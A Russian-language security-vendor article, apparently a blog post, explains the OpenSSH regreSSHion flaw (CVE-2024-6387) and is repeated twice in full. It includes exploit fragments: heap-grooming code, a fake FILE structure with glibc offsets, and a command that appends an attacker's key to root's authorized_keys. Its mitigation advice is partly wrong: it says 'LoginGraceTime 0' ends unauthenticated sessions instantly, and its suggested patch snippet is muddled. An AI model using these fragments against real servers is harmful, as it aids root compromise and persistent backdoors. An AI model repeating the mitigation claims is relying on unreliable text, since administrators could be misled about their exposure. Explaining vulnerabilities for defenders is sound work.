Введение
CVE-2024-6387, известная как regreSSHion, представляет собой критическую уязвимость в OpenSSH, затрагивающую серверную часть (sshd) на системах с использованием glibc. Уязвимость была вызвана гонкой данных (race condition) в обработчике сигналов SIGALRM, который используется для обработки таймаутов во время аутентификации. Проблема возникает из-за вызова небезопасных для сигналов функций, таких как syslog() и malloc() в асинхронной среде обработчика сигналов.
И здесь мы в Security Vision можем с уверенностью сказать: наши клиенты могут спать спокойно. Мы тщательно следим за всеми обновлениями, будь то OpenSSH, библиотеки или другие ключевые элементы инфраструктуры. Более того, наши решения активно адаптируются к новым вызовам, обеспечивая надёжную защиту. Ведь безопасность наших клиентов — это не просто наша работа, это наша миссия.
Почему эта уязвимость вызвала ажиотаж в сообществе IT-специалистов.
Уязвимость CVE-2024-6387, известная под именем regreSSHion, произвела настоящий фурор в IT-сообществе, всколыхнув как экспертов по кибербезопасности, так и системных администраторов. На первый взгляд, это может показаться очередной ошибкой в популярном программном обеспечении. Однако её масштаб, история возникновения и технические нюансы превратили эту уязвимость в один из самых обсуждаемых инцидентов года.
Прежде всего, стоит понимать, что OpenSSH — это, без преувеличения, фундаментальная часть серверной инфраструктуры. Миллионы серверов по всему миру, от облачных гигантов до скромных локальных машин, используют OpenSSH для обеспечения безопасного удалённого доступа. Если что-то в этом инструменте идёт не так, последствия ощущаются повсеместно. Уязвимость regreSSHion предоставляет злоумышленникам возможность удалённо выполнить произвольный код с root-привилегиями, то есть получить полный контроль над системой. Это делает её особенно опасной, ведь последствия такой атаки могут быть катастрофическими: от утечки данных до полного уничтожения инфраструктуры. Но дело не только в самой возможности RCE (Remote Code Execution), а в том, как эта уязвимость вернулась спустя годы. RegreSSHion — это результат регрессии, вызванной изменениями в коде OpenSSH в 2020 году. Ошибка, закрытая в 2006 году, неожиданно «воскресла», обойдя все существующие механизмы защиты.
Особую остроту ситуации добавляет техническая сложность эксплуатации уязвимости. Для успешной атаки злоумышленнику нужно использовать race condition в обработчике сигналов SIGALRM. Это требует ювелирной точности в тайминге и манипуляциях с памятью. Исследователи, доказавшие возможность эксплуатации, потратили месяцы на анализ и разработку Proof of Concept. Их работа продемонстрировала: даже столь сложный сценарий может быть успешно реализован, а значит, реальная угроза остаётся.
Широкий охват OpenSSH только усилил обеспокоенность. Эта уязвимость затрагивает как старые версии, так и относительно современные дистрибутивы, включая популярные Debian 12 и Fedora 37. Системные администраторы буквально бросились проверять свои сервера и искать способы защиты. Публикация PoC-эксплойта только подлила масла в огонь, заставив многих перейти на экстренные меры, такие как отключение параметра LoginGraceTime, что, в свою очередь, привело к другим рискам, включая DoS-атаки.
Интересно, что сама уязвимость раскрывает важные уроки для всего сообщества. Во-первых, она подчёркивает, насколько критично использовать асинхронно-безопасные функции в программном обеспечении, особенно там, где речь идёт о сигналах. Во-вторых, она напоминает о значении защитных механизмов вроде ASLR и о том, что их слабости могут стать «окном возможностей» для атак. В-третьих, regreSSHion заставила многих задуматься о необходимости перехода на более строгие системы контроля, такие как AppArmor и SELinux.
Но, пожалуй, самое главное, что принесла эта история — это ощущение уязвимости даже самых надёжных и проверенных инструментов. OpenSSH всегда считался образцом безопасности и стабильности. Его код изучается и тестируется лучшими умами сообщества. Однако даже такой уровень контроля не смог предотвратить регрессию, ставшую причиной уязвимости. Это подчеркивает: в безопасности нет окончательных побед, есть лишь постоянная борьба, требующая внимательности и решительности.
Итог всей этой истории прост: regreSSHion стала не просто уязвимостью, но событием, которое заставило всех участников IT-сообщества пересмотреть свои подходы к безопасности. Она оставила след в памяти и, возможно, изменила правила игры в кибербезопасности навсегда.
История: как регрессия в коде OpenSSH вернула уязвимость CVE-2006-5051
CVE-2006-5051 была обнаружена ещё в 2006 году. Она также была связана с обработкой сигналов в OpenSSH. В то время проблема была решена добавлением макроса #ifdef DO_LOG_SAFE_IN_SIGHAND, который заменял небезопасные вызовы функций на безопасные действия, такие как принудительное завершение программы через _exit(1).
Однако в октябре 2020 года, в версии OpenSSH 8.5p1, в результате рефакторинга кода этот макрос был случайно удалён из функции sigdie(). В результате сигнальный обработчик вновь начал вызывать небезопасные функции, такие как syslog(). Это и стало причиной возрождения уязвимости.
Особенностью CVE-2024-6387 является то, что её можно считать «ошибкой регрессии» — код, исправленный ранее, стал снова уязвимым из-за изменений, не учитывающих первоначальное исправление.
Техническое описание уязвимости
CVE-2024-6387 затрагивает обработку сигналов SIGALRM в сервере OpenSSH (sshd). Этот сигнал используется для завершения неавторизованных подключений по истечении заданного времени (LoginGraceTime). Проблема заключается в том, что сигнальный обработчик вызывает функции, не предназначенные для работы в асинхронной среде, такие как syslog(). Эти функции используют небезопасные операции с памятью, например, динамическое выделение памяти через malloc() и освобождение памяти через free().
Если обработка сигнала прерывает выполнение программы в критический момент, это может привести к повреждению структуры памяти. Злоумышленник может спровоцировать такое состояние, создавая определённые нагрузки на сервер, и использовать это для выполнения своего кода с правами суперпользователя.
Ключевые аспекты уязвимости:
· Race condition возникает из-за того, что несколько процессов конкурируют за доступ к одной и той же памяти, вызывая непредсказуемое поведение.
· Повреждение памяти - сигнал SIGALRM может прервать выполнение в момент, когда программа уже изменила, но ещё не завершила обновление критической структуры данных.
· Возможность RCE - злоумышленник может манипулировать повреждёнными структурами памяти для выполнения произвольного кода.
Уязвимость затрагивает следующие версии OpenSSH:
· OpenSSH 8.5p1 до 9.7p1: это все версии, в которых небезопасные функции были вновь интегрированы в обработку сигналов.
· Системы на основе glibc: уязвимость зависит от работы стандартной библиотеки glibc. Системы на базе других библиотек (например, OpenBSD) не подвержены данной проблеме.
· Популярные дистрибутивы: под угрозой оказались системы на базе RHEL 9, Fedora 36/37 и Debian 12, поскольку они используют версии OpenSSH, содержащие эту уязвимость.
Новые версии OpenSSH (начиная с 9.8p1) уже содержат исправления. Если обновление невозможно, рекомендуется установить LoginGraceTime=0 в конфигурации OpenSSH, чтобы минимизировать риски. Однако это решение не защищает от других видов атак, таких как перебор паролей.
Технические аспекты уязвимости
Техническая природа уязвимости CVE-2024-6387 основана на гонке данных в обработчике сигнала SIGALRM, которая приводит к повреждению памяти. Когда клиент подключается к серверу OpenSSH, ему предоставляется определённое время для авторизации, задаваемое параметром LoginGraceTime. Если за это время авторизация не завершается, сервер вызывает обработчик сигнала SIGALRM, чтобы закрыть соединение. Однако проблема заключается в том, что в этом обработчике используются функции, небезопасные для выполнения в асинхронной среде. Среди них особое место занимает syslog(), вызывающая цепочку операций с памятью через malloc() и free().
Основной риск заключается в том, что сигнал SIGALRM может прервать выполнение кода в произвольный момент, включая операции с динамической памятью. Например, если основной поток сервера в данный момент выделяет память с помощью malloc() или освобождает её через free(), внезапный вызов обработчика сигнала оставляет структуры памяти в неполностью обновлённом состоянии. Это открывает злоумышленнику возможность манипулировать внутренними данными системы управления памятью.
В этом процессе ключевую роль играют функции malloc() и free(), которые управляют распределением памяти через структуры, называемые heap arenas. Каждая арена включает списки свободных и занятых блоков памяти, обновляемых при каждом вызове malloc() или free(). Если эти функции прерываются сигналом, списки могут стать неконсистентными, что позволяет злоумышленнику подменять указатели или даже исполнять произвольный код. Например, злоумышленник может искусственно создать так называемый «остаточный блок» в памяти, расширить его за пределы выделенной области и таким образом записать в другие участки памяти, включая критические структуры.
Эффективность атаки во многом обеспечивается особенностями реализации glibc. В версии 2.26, выпущенной в 2017 году, разработчики отказались от использования блокировок для управления памятью в однопоточном режиме, чтобы ускорить работу функций malloc() и free(). Это сделало их уязвимыми для гонок данных, так как прерывания, вызванные сигналами, не синхронизированы с текущими операциями. Кроме того, первая попытка вызова syslog() может активировать дополнительные вызовы malloc() для создания структур, таких как FILE, что также увеличивает возможность атаки.
Другой важный аспект — это организация защиты ASLR (Address Space Layout Randomization). В современных системах ASLR затрудняет предсказание расположения ключевых участков памяти, однако в некоторых дистрибутивах, таких как Debian, адреса библиотек, включая glibc, остаются предсказуемыми. Это позволяет злоумышленнику обойти рандомизацию, например, предполагая, что glibc будет загружена по одному из двух возможных базовых адресов.
Наиболее изощрённой техникой эксплуатации уязвимости является манипуляция структурой FILE, используемой для работы с файлами. Эта структура содержит указатели на таблицы виртуальных функций (vtable), которые определяют поведение программы при вызове определённых методов. Злоумышленник может изменить значение _vtable_offset или _codecvt внутри структуры FILE, чтобы перенаправить выполнение программы на произвольный код. Такие атаки, известные как vtable-атаки, позволяют обойти многие стандартные защитные механизмы.
Таким образом, уязвимость CVE-2024-6387 является сочетанием нескольких факторов: ошибки в обработчике сигнала OpenSSH, особенностей работы glibc и предсказуемости адресов памяти. Вместе они создают благоприятные условия для проведения успешной атаки, позволяя злоумышленнику выполнить произвольный код на сервере. Это подчёркивает необходимость внедрения как исправлений в OpenSSH, так и обновлений системных библиотек, а также пересмотра политики управления сигналами в критически важных приложениях.
Механика атаки
Шаг 1. Подготовка подключения
Первый шаг — это установить соединение с целевым сервером OpenSSH. В эксплойте используется функция setup_connection, которая открывает TCP-соединение с сервером на заданном IP и порту.
Код подключения:
Пример использования:
Код проверяет успешность установки соединения, переводя сокет в неблокирующий режим для последующих операций.
Для взаимодействия с сервером необходимо выполнить базовый SSH-рукопожатие, включая отправку версии клиента, обмен пакетами KEX_INIT (обмен ключами).
Код рукопожатия:
Ключевая цель эксплойта — манипуляция памятью через специфическую структуру кучи. В этом шаге создаются «дыры» (свободные блоки памяти) и «барьеры» (занятые блоки).
Фрагмент кода:
Здесь код отправляет пакеты, создавая необходимую структуру памяти.
Шаг 4. Активация гонки данных
Эксплойт использует сигнал SIGALRM, чтобы прервать выполнение критической функции, такой как malloc(), в нужный момент.
Код измерения времени:
В результате измерений эксплойт определяет точный момент для отправки последнего байта пакета, чтобы активировать уязвимость.
Шаг 5. Повреждение памяти
Эксплойт использует манипуляцию кучей для перезаписи критических структур памяти. В данном случае это структура FILE, используемая функцией fopen().
Создание поддельной структуры FILE:
Шаг 6. Выполнение shellcode
После успешной эксплуатации, перезаписанный FILE указывает на shellcode.
При вызове уязвимой функции fopen() происходит выполнение shellcode, что позволяет злоумышленнику получить полный контроль над сервером.
Результаты успешной эксплуатации
1. Удаленное выполнение кода с правами root
Уязвимость позволяет злоумышленнику исполнять произвольный код с привилегиями root на атакуемом сервере. Это достигается путем:
· Перезаписи критических структур памяти, таких как FILE и _codecvt.
· Запуска shellcode через поврежденные системные вызовы.
Злоумышленник может получить доступ к командной оболочке с root-правами. С этого момента атакующий может полностью управлять сервером.
2. Возможность установки бэкдоров или компрометации системы
Получив доступ к серверу, злоумышленник может:
· Установить бэкдор: Размещение троянских программ или модулей, обеспечивающих постоянный доступ. Например, добавление публичного ключа злоумышленника в ~/.ssh/authorized_keys:
· Изменить системные файлы: Модификация конфигураций, таких как sshd_config, чтобы отключить логирование или увеличить время реакции сервера.
· Скомпрометировать данные: Получение доступа к файлам, базам данных или другим критически важным ресурсам системы.
Пример сценария: Установленный бэкдор позволяет злоумышленнику подключаться к серверу даже после устранения первичной уязвимости.
3. Потенциальный крах сервера
При неудачной эксплуатации или умышленной атаке злоумышленник может вызвать крах сервера, что приводит к отказу в обслуживании (DoS). Это возможно через:
· Повреждение памяти: Некорректное изменение структур данных в куче приводит к непредсказуемому поведению и завершению работы процессов.
· Использование ресурсов сервера: Запуск вредоносного кода, генерирующего бесконечные циклы или потребляющего всю доступную память и процессорное время.
Итоговые последствия
1. Компрометация сервера: Злоумышленник получает полный контроль над системой.
2. Потеря данных: Возможна кража или уничтожение конфиденциальной информации.
3. Бизнес-риски: Ущерб репутации компании, финансовые потери и нарушения норм безопасности.
4. Длительный доступ злоумышленника: Если бэкдоры остаются незамеченными, атакующий может использовать сервер для дальнейших атак на другие системы.
Как защититься?
1. Установка патчей для OpenSSH
Самый надежный способ защиты — обновление OpenSSH до версии, в которой устранена уязвимость. Разработчики OpenSSH исправили проблему в патче, заменив асинхронно небезопасные вызовы в обработчике сигналов SIGALRM на безопасные операции.
Важно: Если использование новых версий невозможно, можно пересобрать OpenSSH с измененным кодом, убрав небезопасные вызовы:
2. Настройка LoginGraceTime=0
Уменьшение времени ожидания авторизации на сервере — временная мера, позволяющая предотвратить эксплуатацию гонки данных в SIGALRM.
Что сделать:
· Открыть конфигурационный файл OpenSSH:
· Найти или добавить строку:
· Перезапустить OpenSSH:
Сессии, не прошедшие аутентификацию мгновенно, будут завершены, исключая возможность эксплуатации.
3. Мониторинг активности SSH-соединений
Ранняя диагностика попыток эксплуатации уязвимости может помочь предотвратить её успешную реализацию.
Рекомендуемые шаги:
1. Включите логирование: В файле /etc/ssh/sshd_config настройте:
Это позволит фиксировать детали каждой попытки подключения.
2. Установите fail2ban: Fail2ban автоматически блокирует IP-адреса, подозрительные в многочисленных неудачных попытках подключения.
3. Настройте jail для SSH в файле /etc/fail2ban/jail.local:
4. Используйте инструменты мониторинга: Инструменты вроде htop, netstat или ss помогут отслеживать подозрительные соединения.
Вместо заключения
Эта уязвимость оставила глубокий след, став примером того, как тщательно спланированная атака может обойти защитные механизмы. Но она также дала сообществу новый опыт, обогатив арсенал как специалистов по безопасности, так и администраторов, стоящих на переднем крае защиты инфраструктуры. RegreSSHion — это не только вызов, но и урок, который заставил нас переосмыслить принципы создания, анализа и защиты программного обеспечения.
CVE-2024-6387, известная как regreSSHion, представляет собой критическую уязвимость в OpenSSH, затрагивающую серверную часть (sshd) на системах с использованием glibc. Уязвимость была вызвана гонкой данных (race condition) в обработчике сигналов SIGALRM, который используется для обработки таймаутов во время аутентификации. Проблема возникает из-за вызова небезопасных для сигналов функций, таких как syslog() и malloc() в асинхронной среде обработчика сигналов.
И здесь мы в Security Vision можем с уверенностью сказать: наши клиенты могут спать спокойно. Мы тщательно следим за всеми обновлениями, будь то OpenSSH, библиотеки или другие ключевые элементы инфраструктуры. Более того, наши решения активно адаптируются к новым вызовам, обеспечивая надёжную защиту. Ведь безопасность наших клиентов — это не просто наша работа, это наша миссия.
Почему эта уязвимость вызвала ажиотаж в сообществе IT-специалистов.
Уязвимость CVE-2024-6387, известная под именем regreSSHion, произвела настоящий фурор в IT-сообществе, всколыхнув как экспертов по кибербезопасности, так и системных администраторов. На первый взгляд, это может показаться очередной ошибкой в популярном программном обеспечении. Однако её масштаб, история возникновения и технические нюансы превратили эту уязвимость в один из самых обсуждаемых инцидентов года.
Прежде всего, стоит понимать, что OpenSSH — это, без преувеличения, фундаментальная часть серверной инфраструктуры. Миллионы серверов по всему миру, от облачных гигантов до скромных локальных машин, используют OpenSSH для обеспечения безопасного удалённого доступа. Если что-то в этом инструменте идёт не так, последствия ощущаются повсеместно. Уязвимость regreSSHion предоставляет злоумышленникам возможность удалённо выполнить произвольный код с root-привилегиями, то есть получить полный контроль над системой. Это делает её особенно опасной, ведь последствия такой атаки могут быть катастрофическими: от утечки данных до полного уничтожения инфраструктуры. Но дело не только в самой возможности RCE (Remote Code Execution), а в том, как эта уязвимость вернулась спустя годы. RegreSSHion — это результат регрессии, вызванной изменениями в коде OpenSSH в 2020 году. Ошибка, закрытая в 2006 году, неожиданно «воскресла», обойдя все существующие механизмы защиты.
Особую остроту ситуации добавляет техническая сложность эксплуатации уязвимости. Для успешной атаки злоумышленнику нужно использовать race condition в обработчике сигналов SIGALRM. Это требует ювелирной точности в тайминге и манипуляциях с памятью. Исследователи, доказавшие возможность эксплуатации, потратили месяцы на анализ и разработку Proof of Concept. Их работа продемонстрировала: даже столь сложный сценарий может быть успешно реализован, а значит, реальная угроза остаётся.
Широкий охват OpenSSH только усилил обеспокоенность. Эта уязвимость затрагивает как старые версии, так и относительно современные дистрибутивы, включая популярные Debian 12 и Fedora 37. Системные администраторы буквально бросились проверять свои сервера и искать способы защиты. Публикация PoC-эксплойта только подлила масла в огонь, заставив многих перейти на экстренные меры, такие как отключение параметра LoginGraceTime, что, в свою очередь, привело к другим рискам, включая DoS-атаки.
Интересно, что сама уязвимость раскрывает важные уроки для всего сообщества. Во-первых, она подчёркивает, насколько критично использовать асинхронно-безопасные функции в программном обеспечении, особенно там, где речь идёт о сигналах. Во-вторых, она напоминает о значении защитных механизмов вроде ASLR и о том, что их слабости могут стать «окном возможностей» для атак. В-третьих, regreSSHion заставила многих задуматься о необходимости перехода на более строгие системы контроля, такие как AppArmor и SELinux.
Но, пожалуй, самое главное, что принесла эта история — это ощущение уязвимости даже самых надёжных и проверенных инструментов. OpenSSH всегда считался образцом безопасности и стабильности. Его код изучается и тестируется лучшими умами сообщества. Однако даже такой уровень контроля не смог предотвратить регрессию, ставшую причиной уязвимости. Это подчеркивает: в безопасности нет окончательных побед, есть лишь постоянная борьба, требующая внимательности и решительности.
Итог всей этой истории прост: regreSSHion стала не просто уязвимостью, но событием, которое заставило всех участников IT-сообщества пересмотреть свои подходы к безопасности. Она оставила след в памяти и, возможно, изменила правила игры в кибербезопасности навсегда.
История: как регрессия в коде OpenSSH вернула уязвимость CVE-2006-5051
CVE-2006-5051 была обнаружена ещё в 2006 году. Она также была связана с обработкой сигналов в OpenSSH. В то время проблема была решена добавлением макроса #ifdef DO_LOG_SAFE_IN_SIGHAND, который заменял небезопасные вызовы функций на безопасные действия, такие как принудительное завершение программы через _exit(1).
Однако в октябре 2020 года, в версии OpenSSH 8.5p1, в результате рефакторинга кода этот макрос был случайно удалён из функции sigdie(). В результате сигнальный обработчик вновь начал вызывать небезопасные функции, такие как syslog(). Это и стало причиной возрождения уязвимости.
Особенностью CVE-2024-6387 является то, что её можно считать «ошибкой регрессии» — код, исправленный ранее, стал снова уязвимым из-за изменений, не учитывающих первоначальное исправление.
Техническое описание уязвимости
CVE-2024-6387 затрагивает обработку сигналов SIGALRM в сервере OpenSSH (sshd). Этот сигнал используется для завершения неавторизованных подключений по истечении заданного времени (LoginGraceTime). Проблема заключается в том, что сигнальный обработчик вызывает функции, не предназначенные для работы в асинхронной среде, такие как syslog(). Эти функции используют небезопасные операции с памятью, например, динамическое выделение памяти через malloc() и освобождение памяти через free().
Если обработка сигнала прерывает выполнение программы в критический момент, это может привести к повреждению структуры памяти. Злоумышленник может спровоцировать такое состояние, создавая определённые нагрузки на сервер, и использовать это для выполнения своего кода с правами суперпользователя.
Ключевые аспекты уязвимости:
· Race condition возникает из-за того, что несколько процессов конкурируют за доступ к одной и той же памяти, вызывая непредсказуемое поведение.
· Повреждение памяти - сигнал SIGALRM может прервать выполнение в момент, когда программа уже изменила, но ещё не завершила обновление критической структуры данных.
· Возможность RCE - злоумышленник может манипулировать повреждёнными структурами памяти для выполнения произвольного кода.
Уязвимость затрагивает следующие версии OpenSSH:
· OpenSSH 8.5p1 до 9.7p1: это все версии, в которых небезопасные функции были вновь интегрированы в обработку сигналов.
· Системы на основе glibc: уязвимость зависит от работы стандартной библиотеки glibc. Системы на базе других библиотек (например, OpenBSD) не подвержены данной проблеме.
· Популярные дистрибутивы: под угрозой оказались системы на базе RHEL 9, Fedora 36/37 и Debian 12, поскольку они используют версии OpenSSH, содержащие эту уязвимость.
Новые версии OpenSSH (начиная с 9.8p1) уже содержат исправления. Если обновление невозможно, рекомендуется установить LoginGraceTime=0 в конфигурации OpenSSH, чтобы минимизировать риски. Однако это решение не защищает от других видов атак, таких как перебор паролей.
Технические аспекты уязвимости
Техническая природа уязвимости CVE-2024-6387 основана на гонке данных в обработчике сигнала SIGALRM, которая приводит к повреждению памяти. Когда клиент подключается к серверу OpenSSH, ему предоставляется определённое время для авторизации, задаваемое параметром LoginGraceTime. Если за это время авторизация не завершается, сервер вызывает обработчик сигнала SIGALRM, чтобы закрыть соединение. Однако проблема заключается в том, что в этом обработчике используются функции, небезопасные для выполнения в асинхронной среде. Среди них особое место занимает syslog(), вызывающая цепочку операций с памятью через malloc() и free().
Основной риск заключается в том, что сигнал SIGALRM может прервать выполнение кода в произвольный момент, включая операции с динамической памятью. Например, если основной поток сервера в данный момент выделяет память с помощью malloc() или освобождает её через free(), внезапный вызов обработчика сигнала оставляет структуры памяти в неполностью обновлённом состоянии. Это открывает злоумышленнику возможность манипулировать внутренними данными системы управления памятью.
В этом процессе ключевую роль играют функции malloc() и free(), которые управляют распределением памяти через структуры, называемые heap arenas. Каждая арена включает списки свободных и занятых блоков памяти, обновляемых при каждом вызове malloc() или free(). Если эти функции прерываются сигналом, списки могут стать неконсистентными, что позволяет злоумышленнику подменять указатели или даже исполнять произвольный код. Например, злоумышленник может искусственно создать так называемый «остаточный блок» в памяти, расширить его за пределы выделенной области и таким образом записать в другие участки памяти, включая критические структуры.
Эффективность атаки во многом обеспечивается особенностями реализации glibc. В версии 2.26, выпущенной в 2017 году, разработчики отказались от использования блокировок для управления памятью в однопоточном режиме, чтобы ускорить работу функций malloc() и free(). Это сделало их уязвимыми для гонок данных, так как прерывания, вызванные сигналами, не синхронизированы с текущими операциями. Кроме того, первая попытка вызова syslog() может активировать дополнительные вызовы malloc() для создания структур, таких как FILE, что также увеличивает возможность атаки.
Другой важный аспект — это организация защиты ASLR (Address Space Layout Randomization). В современных системах ASLR затрудняет предсказание расположения ключевых участков памяти, однако в некоторых дистрибутивах, таких как Debian, адреса библиотек, включая glibc, остаются предсказуемыми. Это позволяет злоумышленнику обойти рандомизацию, например, предполагая, что glibc будет загружена по одному из двух возможных базовых адресов.
Наиболее изощрённой техникой эксплуатации уязвимости является манипуляция структурой FILE, используемой для работы с файлами. Эта структура содержит указатели на таблицы виртуальных функций (vtable), которые определяют поведение программы при вызове определённых методов. Злоумышленник может изменить значение _vtable_offset или _codecvt внутри структуры FILE, чтобы перенаправить выполнение программы на произвольный код. Такие атаки, известные как vtable-атаки, позволяют обойти многие стандартные защитные механизмы.
Таким образом, уязвимость CVE-2024-6387 является сочетанием нескольких факторов: ошибки в обработчике сигнала OpenSSH, особенностей работы glibc и предсказуемости адресов памяти. Вместе они создают благоприятные условия для проведения успешной атаки, позволяя злоумышленнику выполнить произвольный код на сервере. Это подчёркивает необходимость внедрения как исправлений в OpenSSH, так и обновлений системных библиотек, а также пересмотра политики управления сигналами в критически важных приложениях.
Механика атаки
Шаг 1. Подготовка подключения
Первый шаг — это установить соединение с целевым сервером OpenSSH. В эксплойте используется функция setup_connection, которая открывает TCP-соединение с сервером на заданном IP и порту.
Код подключения:
Код:
int setup_connection(const char *ip, int port) {
int sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0) {
perror("socket");
return -1;
}
struct sockaddr_in server_addr = {0};
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(port);
if (inet_pton(AF_INET, ip, &server_addr.sin_addr) <= 0) {
perror("inet_pton");
close(sock);
return -1;
}
if (connect(sock, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
perror("connect");
close(sock);
return -1;
}
return sock;
}
Пример использования:
Код:
$ ./exploit 192.168.1.100 22
Код проверяет успешность установки соединения, переводя сокет в неблокирующий режим для последующих операций.
Шаг 2. Инициализация SSH-сессииДля взаимодействия с сервером необходимо выполнить базовый SSH-рукопожатие, включая отправку версии клиента, обмен пакетами KEX_INIT (обмен ключами).
Код рукопожатия:
Код:
void send_ssh_version(int sock) {
const char *ssh_version = "SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\r\n";
send(sock, ssh_version, strlen(ssh_version), 0);
}
Шаг 3. Подготовка кучиКлючевая цель эксплойта — манипуляция памятью через специфическую структуру кучи. В этом шаге создаются «дыры» (свободные блоки памяти) и «барьеры» (занятые блоки).
Фрагмент кода:
Код:
void prepare_heap(int sock) {
// Создаем массив из больших и маленьких дыр
for (int i = 0; i < 27; i++) {
unsigned char large_hole[8192];
memset(large_hole, 'B', sizeof(large_hole));
send_packet(sock, 5, large_hole, sizeof(large_hole));
unsigned char small_hole[320];
memset(small_hole, 'C', sizeof(small_hole));
send_packet(sock, 5, small_hole, sizeof(small_hole));
}
}
Здесь код отправляет пакеты, создавая необходимую структуру памяти.
Шаг 4. Активация гонки данных
Эксплойт использует сигнал SIGALRM, чтобы прервать выполнение критической функции, такой как malloc(), в нужный момент.
Код измерения времени:
Код:
double measure_response_time(int sock, int error_type) {
struct timespec start, end;
clock_gettime(CLOCK_MONOTONIC, &start);
send_packet(sock, 50, error_packet, packet_size);
clock_gettime(CLOCK_MONOTONIC, &end);
return (end.tv_sec - start.tv_sec) + (end.tv_nsec - start.tv_nsec) / 1e9;
}
Шаг 5. Повреждение памяти
Эксплойт использует манипуляцию кучей для перезаписи критических структур памяти. В данном случае это структура FILE, используемая функцией fopen().
Создание поддельной структуры FILE:
Код:
void create_fake_file_structure(unsigned char *data, size_t size, uint64_t glibc_base) {
struct {
void *_IO_read_ptr, *_IO_read_end, *_IO_write_base, *_IO_write_ptr;
int _fileno, _flags;
char _unused2[40];
void *_vtable_offset;
} *fake_file = (void *)data;
fake_file->_vtable_offset = (void *)0x61; // Смещение виртуальной таблицы
*(uint64_t *)(data + size - 16) = glibc_base + 0x21b740; // fake vtable
*(uint64_t *)(data + size - 8) = glibc_base + 0x21d7f8; // fake codecvt
}
Шаг 6. Выполнение shellcode
После успешной эксплуатации, перезаписанный FILE указывает на shellcode.
При вызове уязвимой функции fopen() происходит выполнение shellcode, что позволяет злоумышленнику получить полный контроль над сервером.
Результаты успешной эксплуатации
1. Удаленное выполнение кода с правами root
Уязвимость позволяет злоумышленнику исполнять произвольный код с привилегиями root на атакуемом сервере. Это достигается путем:
· Перезаписи критических структур памяти, таких как FILE и _codecvt.
· Запуска shellcode через поврежденные системные вызовы.
Злоумышленник может получить доступ к командной оболочке с root-правами. С этого момента атакующий может полностью управлять сервером.
2. Возможность установки бэкдоров или компрометации системы
Получив доступ к серверу, злоумышленник может:
· Установить бэкдор: Размещение троянских программ или модулей, обеспечивающих постоянный доступ. Например, добавление публичного ключа злоумышленника в ~/.ssh/authorized_keys:
Код:
echo "ssh-rsa AAAAB3Nza..." >> /root/.ssh/authorized_keys
· Изменить системные файлы: Модификация конфигураций, таких как sshd_config, чтобы отключить логирование или увеличить время реакции сервера.
· Скомпрометировать данные: Получение доступа к файлам, базам данных или другим критически важным ресурсам системы.
Пример сценария: Установленный бэкдор позволяет злоумышленнику подключаться к серверу даже после устранения первичной уязвимости.
3. Потенциальный крах сервера
При неудачной эксплуатации или умышленной атаке злоумышленник может вызвать крах сервера, что приводит к отказу в обслуживании (DoS). Это возможно через:
· Повреждение памяти: Некорректное изменение структур данных в куче приводит к непредсказуемому поведению и завершению работы процессов.
· Использование ресурсов сервера: Запуск вредоносного кода, генерирующего бесконечные циклы или потребляющего всю доступную память и процессорное время.
Итоговые последствия
1. Компрометация сервера: Злоумышленник получает полный контроль над системой.
2. Потеря данных: Возможна кража или уничтожение конфиденциальной информации.
3. Бизнес-риски: Ущерб репутации компании, финансовые потери и нарушения норм безопасности.
4. Длительный доступ злоумышленника: Если бэкдоры остаются незамеченными, атакующий может использовать сервер для дальнейших атак на другие системы.
Как защититься?
1. Установка патчей для OpenSSH
Самый надежный способ защиты — обновление OpenSSH до версии, в которой устранена уязвимость. Разработчики OpenSSH исправили проблему в патче, заменив асинхронно небезопасные вызовы в обработчике сигналов SIGALRM на безопасные операции.
Важно: Если использование новых версий невозможно, можно пересобрать OpenSSH с измененным кодом, убрав небезопасные вызовы:
Код:
sshsigdie(...) {
#ifdef DO_LOG_SAFE_IN_SIGHAND
syslog(...); // Закомментируйте или замените на _exit(1)
#endif
}
2. Настройка LoginGraceTime=0
Уменьшение времени ожидания авторизации на сервере — временная мера, позволяющая предотвратить эксплуатацию гонки данных в SIGALRM.
Что сделать:
· Открыть конфигурационный файл OpenSSH:
Код:
sudo nano /etc/ssh/sshd_config
Код:
LoginGraceTime 0
Код:
sudo systemctl restart sshd
3. Мониторинг активности SSH-соединений
Ранняя диагностика попыток эксплуатации уязвимости может помочь предотвратить её успешную реализацию.
Рекомендуемые шаги:
1. Включите логирование: В файле /etc/ssh/sshd_config настройте:
Код:
LogLevel VERBOSE
Это позволит фиксировать детали каждой попытки подключения.
2. Установите fail2ban: Fail2ban автоматически блокирует IP-адреса, подозрительные в многочисленных неудачных попытках подключения.
3. Настройте jail для SSH в файле /etc/fail2ban/jail.local:
Код:
[sshd]
enabled = true
port = ssh
logpath = /var/log/auth.log
maxretry = 3
4. Используйте инструменты мониторинга: Инструменты вроде htop, netstat или ss помогут отслеживать подозрительные соединения.
Код:
sudo ss -tuna | grep ESTAB
Вместо заключения
Эта уязвимость оставила глубокий след, став примером того, как тщательно спланированная атака может обойти защитные механизмы. Но она также дала сообществу новый опыт, обогатив арсенал как специалистов по безопасности, так и администраторов, стоящих на переднем крае защиты инфраструктуры. RegreSSHion — это не только вызов, но и урок, который заставил нас переосмыслить принципы создания, анализа и защиты программного обеспечения.